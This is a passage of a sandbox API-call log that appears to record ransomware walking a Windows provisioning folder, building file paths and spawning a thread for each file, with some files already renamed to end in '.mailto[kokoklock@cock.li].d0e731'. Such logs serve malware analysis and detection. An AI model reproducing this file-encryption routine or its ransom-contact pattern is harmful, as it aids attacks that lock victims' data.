Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0177.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0177.605] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e159785, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="18__CE~1.D0E")) returned 1 [0177.605] wcscmp (_String1="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.605] wcscmp (_String1="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.605] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2fd07e8 [0177.605] wcscpy (in: _Dest=0x2fd07e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.606] wcscat (in: _Dest=0x2fd07e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.606] wcscat (in: _Dest=0x2fd07e8, _Source="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731" [0177.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fd07e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0177.606] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e17fa9d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="190__C~1.D0E")) returned 1 [0177.606] wcscmp (_String1="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.606] wcscmp (_String1="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18a) returned 0x2ff1e98 [0177.606] wcscpy (in: _Dest=0x2ff1e98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.606] wcscat (in: _Dest=0x2ff1e98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.606] wcscat (in: _Dest=0x2ff1e98, _Source="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0177.607] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e787977, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="191__C~1.D0E")) returned 1 [0177.607] wcscmp (_String1="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.607] wcscmp (_String1="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2ff2030 [0177.607] wcscpy (in: _Dest=0x2ff2030, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.607] wcscat (in: _Dest=0x2ff2030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.607] wcscat (in: _Dest=0x2ff2030, _Source="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff2030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0177.608] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="192__C~1.PRO")) returned 1 [0177.608] wcscmp (_String1="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0177.608] wcscmp (_String1="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0177.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe2d78 [0177.608] wcscpy (in: _Dest=0x2fe2d78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.608] wcscat (in: _Dest=0x2fe2d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.608] wcscat (in: _Dest=0x2fe2d78, _Source="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0177.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0177.609] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="193__C~1.PRO")) returned 1 [0177.609] wcscmp (_String1="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.609] wcscmp (_String1="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa58e8 [0177.609] wcscpy (in: _Dest=0x2fa58e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.609] wcscat (in: _Dest=0x2fa58e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.609] wcscat (in: _Dest=0x2fa58e8, _Source="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" [0177.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa58e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0177.610] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="194__C~1.PRO")) returned 1 [0177.610] wcscmp (_String1="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.610] wcscmp (_String1="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa6328 [0177.610] wcscpy (in: _Dest=0x2fa6328, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.610] wcscat (in: _Dest=0x2fa6328, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.610] wcscat (in: _Dest=0x2fa6328, _Source="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" [0177.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa6328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0177.611] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="195__C~1.PRO")) returned 1 [0177.787] wcscmp (_String1="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.787] wcscmp (_String1="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.787] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f6ab60 [0177.787] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.787] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.787] wcscat (in: _Dest=0x2f6ab60, _Source="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" [0177.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0177.924] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="196__C~1.PRO")) returned 1 [0177.924] wcscmp (_String1="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.924] wcscmp (_String1="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f92f68 [0177.924] wcscpy (in: _Dest=0x2f92f68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.924] wcscat (in: _Dest=0x2f92f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.924] wcscat (in: _Dest=0x2f92f68, _Source="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" [0177.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0177.925] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="197__C~1.PRO")) returned 1 [0177.925] wcscmp (_String1="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.925] wcscmp (_String1="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x305d470 [0177.925] wcscpy (in: _Dest=0x305d470, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.925] wcscat (in: _Dest=0x305d470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.925] wcscat (in: _Dest=0x305d470, _Source="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" [0177.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0177.926] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="198__C~1.PRO")) returned 1 [0177.926] wcscmp (_String1="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.926] wcscmp (_String1="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x305d5c8 [0177.926] wcscpy (in: _Dest=0x305d5c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.926] wcscat (in: _Dest=0x305d5c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.926] wcscat (in: _Dest=0x305d5c8, _Source="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" [0177.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0177.927] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="199__C~1.PRO")) returned 1 [0177.927] wcscmp (_String1="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.927] wcscmp (_String1="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x305d720 [0177.927] wcscpy (in: _Dest=0x305d720, _Source="C:\\Users\\All 